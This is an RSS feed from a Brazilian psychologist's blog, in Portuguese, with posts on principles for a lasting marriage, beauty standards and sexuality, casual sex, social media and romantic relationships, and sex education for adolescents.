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	<title>Arquivos Sexualidade - Tatiana Leite</title>
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	<description>Psicóloga - CRP 06/77375</description>
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	<title>Arquivos Sexualidade - Tatiana Leite</title>
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		<title>O que eu aprendi com o livro: sete princípios para o casamento dar certo?</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Sat, 08 Aug 2020 18:30:47 +0000</pubDate>
				<category><![CDATA[PSICOTERAPIA]]></category>
		<category><![CDATA[Relacionamento]]></category>
		<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[Vida Adulta]]></category>
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					<description><![CDATA[<p>Será que existem segredos universais e dicas infalíveis que capazes de fazer qualquer casamento dar certo? Quando o assunto é relacionamento eu sempre desconfiei de regras prontas. Afinal, cada casal [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">Será que existem segredos universais e dicas infalíveis que capazes de fazer qualquer </span><span style="font-weight: 400;">casamento dar certo</span><span style="font-weight: 400;">? Quando o assunto é relacionamento eu sempre desconfiei de regras prontas. Afinal, cada casal tem uma história de vida e uma maneira de se relacionar que são únicas. Mas, existem alguns princípios que são sustentações importantes para um casamento feliz e duradouro.</span></p>
<p><span style="font-weight: 400;">No livro “Sete princípios para o casamento dar certo” o autor explora pilares de um casamento feliz e duradouro. Foram 30 anos de pesquisa e o livro realmente ensina e aborda o relacionamento a dois sob uma perspectiva muito interessante. Preparei um resumo sobre os pilares citados pelo autor e também uma conclusão sobre o que eu aprendi com o livro.</span></p>
<p>&nbsp;</p>
<h3><b>Os sete princípios para o </b><b>casamento dar certo</b><b></p>
<p></b></h3>
<h2><b>Aprofundar o conhecimento mútuo</b></h2>
<p><span style="font-weight: 400;">Pode ser que você tenha 10, 15 30 anos de casados, mas é sempre importante continuar conhecendo e descobrindo coisas novas sobre o parceiro. Os acontecimentos ao longo da vida vão nos transformando e aprofundar o conhecimento mútuo é algo indispensável para casamentos longínquos. Casais felizes conhecem e partilham a vida um com o outro. falam sobre seus objetivos e metas, sobre o que os deixam estressados, sobre como foi o dia, sobre assuntos de interesse hobbies e novas descobertas. A melhor maneira de nutrir esse princípios fundamental é fazendo perguntas. Pergunte sobre as situações do dia a dia, às opinião s da pessoa em relação a alguma notícia, conversem sobre situações que estão acontecendo no trabalho, nos estudos, na família e nos círculos sociais. Conhecer a opinião, a maneira de pensar é um pilar importante para continuar conectado e se apaixonando pelo seu parceiro.</span></p>
<h2><b><br />
</b><b>Cultivar a afeição e a admiração</b></h2>
<p><span style="font-weight: 400;">Admiração é o gatilho para a paixão e para o amor. Cultivar uma visão positiva sobre o parceiro, nutrir com carinho essa essa relação e ter admiração pela pessoa que se tem ao lado, talvez seja o princípio fundamental de um casamento feliz. Afinal quando admiramos uma pessoa queremos tê-la por perto, queremos conquistá-la diariamente e isso pode ser a diferença entre casais que se conquistam a vida toda daqueles que acabam por se distanciar.</span></p>
<p>&nbsp;</p>
<h2><b>Estarem voltados um para o outro </b></h2>
<p><span style="font-weight: 400;">Isso não significa viver apenas para o relacionamento, pelo contrário, é importante cultivar a individualidade e também projetos independentes da vida a dois. Mas esse pilar de: estar voltados um para o outro significa estar presente na vida um do outro. Fazer coisas juntos, em casal. Ter um hobbie em comum, cultivar atividades a dois, se manter conectados.</span></p>
<p>&nbsp;</p>
<h2><b>Aceitar as opiniões do parceiro</b></h2>
<p><span style="font-weight: 400;">Parece óbvio né! Mas as vezes nos perdemos em nossas certezas e passamos a ignorar as opiniões e visões de mundo da outra pessoa. Isso acontece muito dentro dos relacionamentos. Principalmente porque tendemos a achar que nosso parceiro deve pensar como nós. Afinal, já que concordamos em muita coisa, temos que concordar em tudo. Mas não é bem assim! Precisamos aceitar que as pessoas são diferentes, pensam e interpretam o mundo de uma maneira diferente. Na pesquisa realizada pelo autor ele descobriu que os homens são mais propensos a ignorar a opinião de suas esposas. Provavelmente reflexo da cultura patriarcal em que vivemos. Mas isso não é exclusividade de gênero. Aprenda a mostrar empatia e procure ouvir profundamente sem julgamentos, se colocando no lugar do outro.</span></p>
<p>&nbsp;</p>
<h2><b>Resolva os problemas que te solução </b></h2>
<p><span style="font-weight: 400;">De acordo com o livro dentro de um relacionamento existem dois tipos de problema. Aqueles que são solucionáveis e os problemas perpétuos.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Os </span><b>problemas solucionáveis</b><span style="font-weight: 400;"> são de ordem prática, aqueles do dia a dia. Como não deixar a toalha molhada  na cama, decidir que fará a lista do supermercado, o almoço do domingo, buscar as crianças na escola. São atritos pontuais, muito mais ligados a convivência do dia a dia o que ao relacionamento em si. A dica do autor é resolva esses problemas o quanto antes, e procure uma solução pacífica, calma e acolhedora para ambos. Os problemas solucionáveis não precisam ser motivos de brigas e discussões infinitas.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span> <span style="font-weight: 400;">Seja calmo, gentil e não critique seu parceiro. </span><span style="font-weight: 400;">Mostre seu ponto de vista de apontar os defeitos do outro. </span><span style="font-weight: 400;">Se a conversa se tornar uma briga, respirem fundo, mudem de assunto e voltem a conversar sobre o tema em outro momento. </span><span style="font-weight: 400;">Assuma o compromisso de considerar o ponto de vista do outro, sem descredibilizar todo e qualquer argumento da pessoa. </span><span style="font-weight: 400;">Seja tolerante, e lembre-se: seu parceiro não precisa pensar e agir como você</span></p>
<p>&nbsp;</p>
<h2><b>Supere os problemas perpétuos</b></h2>
<p><span style="font-weight: 400;">Agora os </span><b>problemas perpétuos</b><span style="font-weight: 400;"> são mais complexos de serem resolvidos porque esses são intrínsecos ao relacionamento. São problemas que surgem quando existe uma diferença fundamental entre o casal. Objetivos de vida diferentes, características da personalidade de cada uma que são fundamentalmente opostas ou conflitantes.</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">Esse problemas raramente tem solução porque algo tão fundamental sobre a personalidade dificilmente se transforma. Mas, apesar da dificuldade, é possível com tolerância, amor e respeito superar essas diferenças e viver em harmonia com o parceiro.</span></p>
<p>&nbsp;</p>
<h2><b>Crie significado na vida em comum </b></h2>
<p><span style="font-weight: 400;">Por fim, porém não menos importante está o sétimo princípio que consiste em criar significado para a vida a dois. Ter projetos em comum, ter uma vida em comum. Seja criar os filhos, construir uma casa, viajar a o mundo, abrir uma empresa, etc. Ter um ou mais objetivos de vida que sejam prioridade e que os dois façam parte de maneira igualmente comprometida.</span></p>
<p><span style="font-weight: 400;">Criar significado nada mais é do que lembrar-se todos os dias o porque você está nesse relacionamento, porque vocês estão juntos e principalmente o que estão construindo.</span></p>
<p>&nbsp;</p>
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		<item>
		<title>Como a ditadura da beleza afeta o desenvolvimento de uma sexualidade saudável?</title>
		<link>https://tatianaleite.com.br/2020/03/19/como-ditadura-da-beleza-afeta-o-desenvolvimento-de-uma-sexualidade-saudavel/</link>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Thu, 19 Mar 2020 20:38:43 +0000</pubDate>
				<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[Vida Adulta]]></category>
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					<description><![CDATA[<p>O que é belo para você? Você já se questionou se a sua construção de beleza foi algo imposto e construído socialmente? Já parou para avaliar se realmente aprova os [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">O que é belo para você? Você já se questionou se a sua construção de beleza foi algo imposto e construído socialmente? Já parou para avaliar se realmente aprova os padrões de beleza da sociedade? Você concorda e reproduz a ditadura da magreza com a qual fomos acostumados a lidar?</span></p>
<p><span style="font-weight: 400;">O fato é que, independente das respostas que você deu acima, o padrão de beleza imposto socialmente é algo que aprisiona as mulheres. Afeta diretamente a autoestima, e, consequentemente, as chances de viver uma sexualidade saudável. Vivemos em um mundo onde a aparência magra é supervalorizada. No qual o número da balança é indicador de felicidade. De sucesso. De esforço e merecimento. Mas, será que precisa ser assim? </span></p>
<p><span style="font-weight: 400;">Meu convite é desconstruirmos os mitos por trás de cada imposição social sobre a aparência. A partir daí, reconstruir nossa conexão com nós mesmas. Fortalecer a crença de que a percepção de beleza é algo mais intangível e profundo do que simplesmente uma combinação padrão de: altura, peso, textura do cabelo, cor da pele e idade.</span></p>
<p>&nbsp;</p>
<h2><b>O mito da beleza</b></h2>
<p><span style="font-weight: 400;">Ao longo de muitos anos, as mulheres conquistaram espaços sociais que antes eram inatingíveis. Mas, apesar de todas as barreiras vencidas a ditadura da beleza ainda é uma prisão para a grande maioria das mulheres. E, digo uma prisão porque mesmo as poucas mulheres que estão dentro de um padrão inatingível precisam se vigiar e punir constantemente. Para permanecer dentro da ditadura. </span></p>
<p><span style="font-weight: 400;">Sem falar que o padrão de beleza muda com o passar dos anos.  Ele é construído nos pilares da escassez. Ou seja, criado a partir daquilo que as pessoas não podem ter. Afinal, a melhor maneira de você sustentar uma indústria é vendendo insatisfação.</span></p>
<p><span style="font-weight: 400;">Assim, a indústria da beleza, e da magreza, é um dos mercados mais lucrativos do mundo. Movimentando bilhões de dólares por ano! A força desse mito é tão poderosa que um estudo feito pela Unilever revelou que 80% das mulheres afirmam gostar de um ou mais detalhes em si mesma. Porém não enxergam sua beleza como um todo. Essa insatisfação faz com que centenas de milhares de mulheres se sintam insuficientes e inseguras sobre si mesma e sobre suas outras capacidades.</span></p>
<p>&nbsp;</p>
<h2><b>O que isso tem a ver com a sexualidade?</b></h2>
<p><span style="font-weight: 400;">Essa percepção sobre si mesma afeta diretamente a autoestima e o desenvolvimento saudável da sexualidade. Isso porque para descobrir, construir e desfrutar plenamente da sexualidade é fundamental amar e sentir-se bem com seu corpo.</span></p>
<p><span style="font-weight: 400;">O corpo é a principal ferramenta para conhecermos e navegamos na nossa sexualidade, é através dele que sentimos prazer, que exploramos nossas fantasias, que desejamos e exploramos as possibilidades. Também é por meio do corpo que conhecemos o outro. Nesse sentido, para compartilhar momentos íntimos e sentir prazer é fundamentar se sentir à vontade, mas isso se torna impossível se você está inseguro com o corpo e desconfortável na própria pele.</span></p>
<p><span style="font-weight: 400;">É comum as mulheres se sentirem desconfortáveis com a nudez, muitas sentem vergonha de serem vistas de luz acesa. Ela ficam preocupadas com as estrias, celulites, barriga, e não conseguem relaxar e curtir o encontro amoroso.</span></p>
<p><span style="font-weight: 400;">Desconstruir essa prisão invisível que coloca a mulher em um lugar de sempre estar devendo para o padrão social é urgente. Essa é uma luta que temos que vencer primeiro internamente. A melhor maneira de desenvolver uma boa relação consigo mesma é por meio do autoconhecimento. Investigue sobre o que faz você se sentir desconfortável com o seu corpo. Pergunte se isso é uma insatisfação interna ou se é imposta? Quando começou? Que tipo de pensamentos, comportamentos e estímulos alimentam essa insatisfação?</span></p>
<p><span style="font-weight: 400;">A partir do momento que você passar a respeitar o seu corpo, os padrões de beleza serão vistos de maneira menos importante ou, ao menos, terão um impacto menor em suas decisões e em sua autoimagem. A partir daí, posso garantir que você desfrutará de uma sexualidade muito mais plena e saudável e, certamente, terá uma vida mais feliz!</span></p>
<p>&nbsp;</p>
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		<item>
		<title>Será que o sexo casual precisa ser sem envolvimento e afeto?</title>
		<link>https://tatianaleite.com.br/2020/02/27/sera-que-o-sexo-casual-precisa-ser-sem-envolvimento-e-afeto/</link>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Thu, 27 Feb 2020 18:56:37 +0000</pubDate>
				<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[Vida Adulta]]></category>
		<category><![CDATA[Viva Sexualidade]]></category>
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					<description><![CDATA[<p>Durante muitos anos estar casado era a única forma de ser sexualmente ativo dentro da sociedade. Com o passar do tempo essa regra social foi se desfazendo. Atualmente, é possível [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">Durante muitos anos estar casado era a única forma de ser sexualmente ativo dentro da sociedade. Com o passar do tempo essa regra social foi se desfazendo. Atualmente, é possível ter uma vida sexual ativa mesmo não estando em um relacionamento sério. Amizade colorida. Sexo casual. Sexo sem compromisso. Seja lá como você escolher chamar, os encontros casuais estão se tornando algo natural dentro da nossa sociedade. </span></p>
<p><span style="font-weight: 400;">No entanto, apesar da vida sexual não precisar ser algo restrito a pessoas casadas ou em namoros longos, será que ela deve ser banalizada e tratada como algo descartável e sem envolvimento nenhum?</span></p>
<p><span style="font-weight: 400;">O sexo casual é objeto de estudo por todos aqueles que pesquisam, observam e debatem sobre a sexualidade humana. Mas, para analisar o que significa fazer sexo casual dentro da nossa sociedade, primeiro temos que entender nosso comportamento diante do sexo e da sexualidade como um todo.</span></p>
<p>&nbsp;</p>
<h2><b>O que o sexo representa socialmente?</b></h2>
<p><span style="font-weight: 400;">Vivemos na </span><b>sociedade do espetáculo</b><span style="font-weight: 400;"> e da superexposição. Com o advento da internet e das redes sociais, expor nossa intimidade e privacidade se tornou algo corriqueiro e até natural. Nesse mundo, onde tudo precisa ser algo memorável para ser eternizado na </span><i><span style="font-weight: 400;">timeline, </span></i><span style="font-weight: 400;">o desejo tornou-se nada mais do que um produto de consumo. </span></p>
<p><span style="font-weight: 400;">Quanto mais a exposição e o espetáculo ganham relevância. Mais nos acostumamos a acompanhar o estilo de vida, as decisões e os desejos de outras pessoas. Nesse sentido, estamos constantemente observando, por meio das redes sociais, as narrativas de desejo e prazer sexual de outras pessoas. Além disso, também somos influenciados pelas propagandas. Pela música. Pelo cinema. Eles nos dizem o que sentir, o que desejar e o que fazer em relação a nossa sexualidade e desejo.</span></p>
<p><span style="font-weight: 400;">Ao fazermos nossas escolhas baseados no que vemos externamente, cada vez mais nos distanciamos da nossa sexualidade e daquilo que realmente representa nosso desejo e prazer. Responder perguntas como: </span></p>
<p><span style="font-weight: 400;">O que me atrai? </span></p>
<p><span style="font-weight: 400;">O que me desperta para o sexo? </span></p>
<p><span style="font-weight: 400;">Que tipo de relação eu quero ter? </span></p>
<p><span style="font-weight: 400;">O que me excita? </span></p>
<p><span style="font-weight: 400;">Tentando se distanciar das interferências externas é a melhor maneira de descobrir, de fato, o que é o sexo para você. E como a sua sexualidade se constrói e se desenvolve.</span></p>
<p>&nbsp;</p>
<h3>O sexo como status social</h3>
<p><span style="font-weight: 400;">Na vida adulta, o sexo torna-se quase um termômetro de status. Na </span><b>sociedade da performance</b><span style="font-weight: 400;"> sua frequência sexual, estilo, quantidade de parceiros, brinquedinhos e lugares inusitados parecem ajudar a definir como você é visto pelas pessoas. Por exemplo, se você está solteiro precisa provar sua solteirice e felicidade atendendo aos parâmetros sexuais que são “exigidos” para esse status social, o que significa ter muitos parceiros e  sexo casual.</span></p>
<p><span style="font-weight: 400;">Eu não estou condenando, pelo contrário, acredito que uma vida sexual ativa e saudável é algo capaz de estimular nossa criatividade, nossa paixão pela vida e alimentar nossos sonhos e força de realização. Mas, eu quero questionar  até que ponto as pessoas estão realmente seguindo seus desejos e impulsos íntimos e em que momento elas estão se perdendo, cedendo à pressão externa e transformando sua sexualidade em um produto de consumo.</span></p>
<p><span style="font-weight: 400;">Isso porque faz parte desse produto de consumo, dessa narrativa social, tratar o sexo casual como algo sem importância, sem relevância e sem envolvimento com o parceiro. Afinal, se não estamos em um relacionamento não precisamos nos entregar e nos preocuparmos com o outro. Mas, será?</span></p>
<p>&nbsp;</p>
<h2><b>Permita-se ter intimidade mesmo não estando em um relacionamento sério!</b></h2>
<p><span style="font-weight: 400;">Não é porque o sexo é casual que ele precisa ser sem afeto e sem envolvimento íntimo. As pessoas têm tanto medo de parecerem carentes, de passar sinais errados em relação ao que desejam e esperam do parceiro que elas se fecham para as possibilidades e para a experiência. Nesse cenário, o sexo casual se torna sexo sem afeto, sem envolvimento e sem conexão. </span></p>
<p><span style="font-weight: 400;">Na minha experiência enquanto estudiosa da sexualidade humana posso afirmar que  é possível sentir prazer sem se comprometer em um relacionamento. Mas, é impossível sentir prazer sem se abrir e  se conectar com a outra pessoa.</span></p>
<p>&nbsp;</p>
<h3><strong>A coragem de ser imperfeito!</strong></h3>
<p><span style="font-weight: 400;">Segundo a pesquisadora norte americana Brene Brown, a vulnerabilidade é a única chave para a construção de vínculo entre as pessoas. Somente quando nos expomos verdadeiramente somos capazes de construir uma ligação de intimidade. Se você vai para o encontro sexual sem a disponibilidade de se abrir para viver aquela experiência. Conhecer a outra pessoa e se entregar. A chance desse ser um encontro positivo é muito baixa. </span></p>
<p><span style="font-weight: 400;">Desejar a outra pessoa, se encantar por ela, admirar suas qualidades e sua personalidade fazem parte de uma experiência sexual prazerosa. Mas, como é possível criar esse vínculo se ambos vão para o encontro com medo de se mostrarem vulneráveis?</span></p>
<p><span style="font-weight: 400;">Outra grande questão que está arruinando as possibilidades do sexo casual ser algo positivo é a falta de responsabilidade emocional daqueles que não desejam se envolver. As pessoas não são descartáveis. Você não precisa querer casar com alguém para ser atencioso, cuidadoso e emocionalmente disponível. Estamos vivendo a era do </span><a href="http://tatianaleite.com.br/2020/02/13/como-internet-e-as-redes-sociais-transformam-as-relacoes-amorosas/"><span style="font-weight: 400;">amor líquido</span></a><span style="font-weight: 400;">, onde tudo é descartável e efêmero, inclusive nossos relacionamentos. E, cada vez mais as pessoas se apoiam no fato do sexo casual ser algo sem compromisso para poderem adotar uma postura egoísta e individualista dentro das relações. </span></p>
<p>&nbsp;</p>
<h2><b>Pare de ter medo e encare a vida e o sexo de maneira mais livre e mais leve!</b></h2>
<p><span style="font-weight: 400;">Não importa se o sexo é casual ou dentro de um relacionamento estável. Enquanto as pessoas não aprenderem a viver sua sexualidade de maneira livre. Sem pressão. Sem performance e com disponibilidade para se entregarem, elas estarão deixando de experimentar os prazeres, a potência criativa e o autoconhecimento que uma vida sexual saudável é capaz de proporcionar.</span></p>
<p>O post <a href="https://tatianaleite.com.br/2020/02/27/sera-que-o-sexo-casual-precisa-ser-sem-envolvimento-e-afeto/">Será que o sexo casual precisa ser sem envolvimento e afeto?</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
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		<item>
		<title>Como a internet e as redes sociais transformam as relações amorosas?</title>
		<link>https://tatianaleite.com.br/2020/02/13/como-internet-e-as-redes-sociais-transformam-as-relacoes-amorosas/</link>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Thu, 13 Feb 2020 14:01:12 +0000</pubDate>
				<category><![CDATA[Relacionamento]]></category>
		<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[Vida Adulta]]></category>
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					<description><![CDATA[<p>A internet revolucionou o mundo do trabalho, a maneira como estudamos, como consumimos informação e como nos expomos no mundo. Se ela foi capaz de mexer com as estruturas sociais [&#8230;]</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">A internet revolucionou o mundo do trabalho, a maneira como estudamos, como consumimos informação e como nos expomos no mundo. Se ela foi capaz de mexer com as estruturas sociais não seria diferente com os relacionamentos humanos e, também, com as relações amorosas. É claro que a transformação em si não é o problema. A questão é que nós nos acostumamos com a velocidade com que as coisas mudam. Estamos aderindo isso dentro dos nossos relacionamentos. As perspectivas, os pontos de vistas, as verdades científicas, as evoluções tecnológicas, tudo se transforma de maneira exponencial e, infelizmente, estamos trazendo essa forma de experienciar o mundo para os relacionamentos amorosos. Tudo tem se tornado efêmero, simples, vazio e descartável.</span></p>
<p><span style="font-weight: 400;">O filósofo e sociólogo polonês, </span><span style="font-weight: 400;">Zygmunt Bauman, descreveu esse fenômeno em seu social best-seller amores líquidos.</span> <span style="font-weight: 400;">A obra é fundamental para compreender as relações afetivas da atualidade. Apesar de ter sido lançada em 2003,  está cada dia mais atual e relevante.</span></p>
<p>&nbsp;</p>
<h2><b>A tecnologia aproxima e afasta as pessoas</b></h2>
<p><span style="font-weight: 400;">É muito comum ouvirmos que a tecnologia está afastando as pessoas do contato físico, das conversas presenciais e da interação real. Mas, ao mesmo tempo, também ouvimos muitas histórias de casais que se conheceram por meio da internet, iniciando seu relacionamento de forma virtual. A utilização de aplicativos de relacionamento para encontrar parceiros, iniciar um relacionamento ou mesmo para manter um namoro à distância é cada vez mais usual. </span></p>
<p><span style="font-weight: 400;">Uma pesquisa feita nos Estados Unidos pelo Pew Research Center indica que 41% dos jovens da geração Z, entre 20 e 35 anos, sentem-se mais próximos de seus parceiros por conta dos recursos tecnológicos. Mas, 74% afirma que a internet e as redes sociais impactam no relacionamento. Portanto, a tecnologia é tanto capaz de afastar quanto aproximar as pessoas. O que determina o modo como ela vai interferir na sua vida amorosa é como você mesmo aprende a lidar com as ferramentas que estão disponíveis.</span></p>
<p>&nbsp;</p>
<h2><b>O fenômeno tinder das relações líquidas</b></h2>
<p><span style="font-weight: 400;">Imagine-se em um cenário onde você está solteira ou solteiro. Para encontrar pessoas e iniciar novas relações você decide instalar o tinder ou algum outro aplicativo de relacionamento. Uma ferramenta simples para você encontrar um parceiro ou parceira, que te livra da necessidade de ter que fazer isso em ambientes reais. Assim, você pode, do conforto da sua casa, no trajeto para o trabalho ou no intervalo das aulas da faculdade, buscar alguém que “combine com você”.</span></p>
<p><span style="font-weight: 400;">A tecnologia se torna, portanto, uma facilitadora do processo. Ela ainda ganha pontos extras já que ajuda a quebrar uma barreira muito inibidora: o medo de ser abertamente rejeitada(o). Trazendo assim a segurança e o conforto de não precisar se expor de verdade, uma vez que o aplicativo só abre a interação para conversa depois que ambos os lados já demonstraram atração e interesse mútuo. </span></p>
<p><span style="font-weight: 400;">No entanto, quando você vence essas primeiras etapas e começa um namoro sério, a tecnologia pode se tornar uma ferramenta de contato e aproximação, mas, ao mesmo tempo,  também pode ser uma grande inimiga do relacionamento duradouro. Primeiro porque ela compete por sua atenção. Segundo porque sua experiência te diz que é simples encontrar um novo parceiro, já que o aplicativo está cheio de oportunidades. </span></p>
<p><span style="font-weight: 400;">Assim, ela pode transformar os relacionamentos duradouros em efêmeros e descartáveis.  Ao menor sinal de conflito ou desinteresse, ao invés dos casais conversarem, discutirem, argumentarem, chegarem a um acordo e resolverem a questão, eles terminam. É mais fácil romper e recorrer novamente a tecnologia. E, o maior problema desse comportamento é que a tendência é ele se tornar um padrão, onde o ciclo se repete indefinidamente.</span></p>
<p>&nbsp;</p>
<h2><b>Como evitar que a tecnologia se torne um problema no seu relacionamento?</b></h2>
<p><span style="font-weight: 400;">É claro que a tecnologia não é a grande vilã das relações. Na verdade, essas ferramentas são neutras. A maneira como as usamos é que determinam se serão boas ou ruins para nós. Para evitar que a internet seja uma problema no seu namoro ou casamento, eu listei algumas condutas e comportamentos que podem ser adotados. Confira!</span></p>
<p>&nbsp;</p>
<h3><b>1. Cuidado com a projeção e a expectativa</b></h3>
<p><span style="font-weight: 400;">Essas são as principais barreiras de todo relacionamento que pode ser potencializado com as relações virtuais. Se você conhecer uma pessoa online, faça o encontro presencial acontecer o quanto antes. Claro que você deve observar as questões de segurança ao encontrar-se com um estranho ou estranha. Como, por exemplo, marcar o encontro em um local público. Mas, o quanto antes você tornar essa interação algo real, menores serão as chances de criar expectativas e projeções irreais sobre a pessoa. Então, salve seu futuro relacionamento dessa armadilha!</span></p>
<p>&nbsp;</p>
<h3><b>2. Valorize todos os aspectos da comunicação</b></h3>
<p><span style="font-weight: 400;">Conversar com o parceiro é a melhor maneira de criar vínculos e construir a relação. O fato da internet ser uma ferramenta de comunicação não a torna capaz de construir esse vínculo. Afinal conversar significa muito mais do que falar e ouvir. A comunicação não verbal, a voz, a cadência das palavras, a linguagem corporal, o contato de pele. Tudo isso faz parte da comunicação em um relacionamento. Quando a conversa acontece exclusivamente pelas vias virtuais é impossível reproduzir todos esses aspectos. </span></p>
<p><span style="font-weight: 400;">É claro que os casais podem e devem utilizar os aplicativos de mensagem para conversar e interagir. Mas valorizar essa conexão, que é criada presencialmente, é indispensável para um relacionamento saudável. Os emoticons existem para expressar o que as pessoas estão sentindo. No entanto, eles nunca serão suficientes para  expressar os sentimentos e as emoções mais complexas.</span></p>
<p>&nbsp;</p>
<h3><b>3. Cuidado com o ciúme</b></h3>
<p><span style="font-weight: 400;">Sabendo que as oportunidades estão a um clique e a possibilidade de  não serem uma exclusividade na vida de seus parceiros também, muitas pessoas enxergam a presença virtual como uma rival e competem com ela pela atenção. O ciúme das redes sociais. O medo do abandono e o risco eminente de tornar-se desinteressante contamina as relações. Fazendo com que aquele ciclo de rompimento se concretize. </span></p>
<p><span style="font-weight: 400;">Cultive a autoconfiança, o autoamor e a intimidade. Busque conversar sobre tudo, inclusive, sobre o medo de não ser suficiente. Checar o perfil do outro várias vezes ao dia, monitorar a presença online e com quem essa pessoa está se relacionando virtualmente pode se tornar uma obsessão. Não é saudável!</span></p>
<p><span style="font-weight: 400;">Se a tecnologia já é parte inerente nas nossas vidas e relações devemos aprender a lidar com ela de forma produtiva, construtiva e conciliadora. É simplesmente impossível ignorarmos o espírito do nosso tempo e tentar construir algo paralelo a realidade, mas podemos agir diante das circunstâncias, transformar nossas próprias atitudes e adotar comportamentos que sejam positivos e benéficos para nosso bem-estar e de todos a nossa volta.</span></p>
<p>O post <a href="https://tatianaleite.com.br/2020/02/13/como-internet-e-as-redes-sociais-transformam-as-relacoes-amorosas/">Como a internet e as redes sociais transformam as relações amorosas?</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
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		<title>Volta às aulas: coloque a sexualidade na pauta escolar!</title>
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		<dc:creator><![CDATA[Tatiana Leite]]></dc:creator>
		<pubDate>Tue, 04 Feb 2020 15:30:05 +0000</pubDate>
				<category><![CDATA[Adolescência]]></category>
		<category><![CDATA[PSICOTERAPIA]]></category>
		<category><![CDATA[Sexualidade]]></category>
		<category><![CDATA[Viva Sexualidade]]></category>
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					<description><![CDATA[<p>As atividades escolares estão voltando essa semana. Em meio a muita agitação das crianças e dos adolescentes, nós que somos pais, professores e orientadores pedagógicos já estamos preparando o terreno [&#8230;]</p>
<p>O post <a href="https://tatianaleite.com.br/2020/02/04/volta-as-aulas-coloque-sexualidade-na-pauta-escolar/">Volta às aulas: coloque a sexualidade na pauta escolar!</a> apareceu primeiro em <a href="https://tatianaleite.com.br">Tatiana Leite</a>.</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400;">As atividades escolares estão voltando essa semana. Em meio a muita agitação das crianças e dos adolescentes, nós que somos pais, professores e orientadores pedagógicos já estamos preparando o terreno para conduzi-los em mais um ciclo de aprendizagem e desenvolvimento. A volta às aulas é sempre um período de muita ansiedade entre os jovens. A cada novo ciclo eles vivem um mix de expectativa e medo em relação às experiências que estão por vir. Presenciando assim um turbilhão de emoções e sentimentos.</span></p>
<p><span style="font-weight: 400;">Para uns, 2020 será ano de começar o ensino médio.  Para outros, ano de vestibular. Tem ainda os que irão iniciar agora em janeiro a tão sonhada faculdade e os que estão em fase cursinho. Mas, uma coisa é certa, independente da fase escolar que esteja, todos irão, ao longo do ano, testar, aprender e desenvolver sua sexualidade.</span></p>
<p><span style="font-weight: 400;">Por isso, precisamos tratar a sexulidade dos adolescentes como um direito. Não como um tabu a ser ignorado. A escola, o cursinho, a faculdade e o ambiente familiar precisam entender que, mesmo velando o tema e tratando os jovens como inaptos para as descobertas sexuais, isso é algo inerente à vida. Eles estão constantemente conhecendo, expondo, analisando e experimentando a sexualidade. E, se isso é algo tão natural para os processos do corpo, da psique e das relações humanas por que continuamos a ignorar a sexualidade dos jovens? Nosso papel enquanto adultos é justamente orientar e guiar os adolescentes. Oferecendo um ambiente de escuta que seja seguro e responsável. Afinal, só dessa forma, eles poderão ampliar a própria capacidade de conhecimento e aprendizagem sobre o que é vida e sexualidade. </span></p>
<h2><b>VIVA SEXUALIDADE</b></h2>
<p><span style="font-weight: 400;">O projeto </span><a href="http://tatianaleite.com.br/projeto-viva-sexualidade/"><b>Viva Sexualidade</b></a><span style="font-weight: 400;">, que nasceu em 2017, fala sobre como a sexualidade humana é vivida em ciclos de movimento, expansão e contração. Ela cresce em espiral através do tempo e pode ser observada em todas as fases da vida. Na infância, quando estamos descobrindo nosso corpo e nos desconectando de nossas mães. Na adolescência, com o início da puberdade da produção dos hormônios sexuais e do amadurecimento dos órgãos reprodutivos. Na vida adulta e também na terceira idade. </span></p>
<p><span style="font-weight: 400;">Dentro desse processo natural de desenvolvimento algumas fases podem causar mais ou menos estresse. Para os adolescentes é muito comum que essa seja uma fase de grande ansiedade. Já que na nossa sociedade é muito comum reprimirmos as conversas em torno do tema. Tratarmos o assunto como um tabu e negarmos a condição natural dos jovens dentro do processo de descoberta da sexualidade. </span></p>
<p><span style="font-weight: 400;">Ser </span><a href="http://tatianaleite.com.br/2019/10/16/geracao-z-os-perigos-do-mundo-digital-para-os-adolescentes/"><b>adolescente no mundo digital</b></a> <span style="font-weight: 400;">é ter que viver uma fase de transformações físicas, sociais e emocionais conectado à internet 24 por dia, 7 dias por semana. A chamada geração Z vive muitos os conflitos internos e externos durante a adolescência. Para nós, que já passamos dessa fase, é quase impossível entender o quanto o ambiente digital está interferindo na construção da psique dos jovens. </span></p>
<h2><b>A descoberta da sexualidade</b></h2>
<p><span style="font-weight: 400;">Existem muitas formas. Mas, a que eu considero mais assertiva é criar ambientes e espaços para que os adolescentes se sintam seguros em compartilhar suas experiências. Tirar dúvidas. Conversar sobre suas curiosidades. É fundamental que eles fiquem confortáveis para compartilhar e ouvir sem se sentirem julgados por seus pensamentos e atitudes. E cabe a nós iniciarmos esse relacionamento. Criarmos esses espaços dentro de casa, no ambiente escolar, no consultório, etc. Colocar as próprias experiências e se mostrar vulnerável é uma excelente maneira de construir esse vínculo afetivo e de confiança.</span></p>
<h2><strong>Projeto vida adolescente</strong></h2>
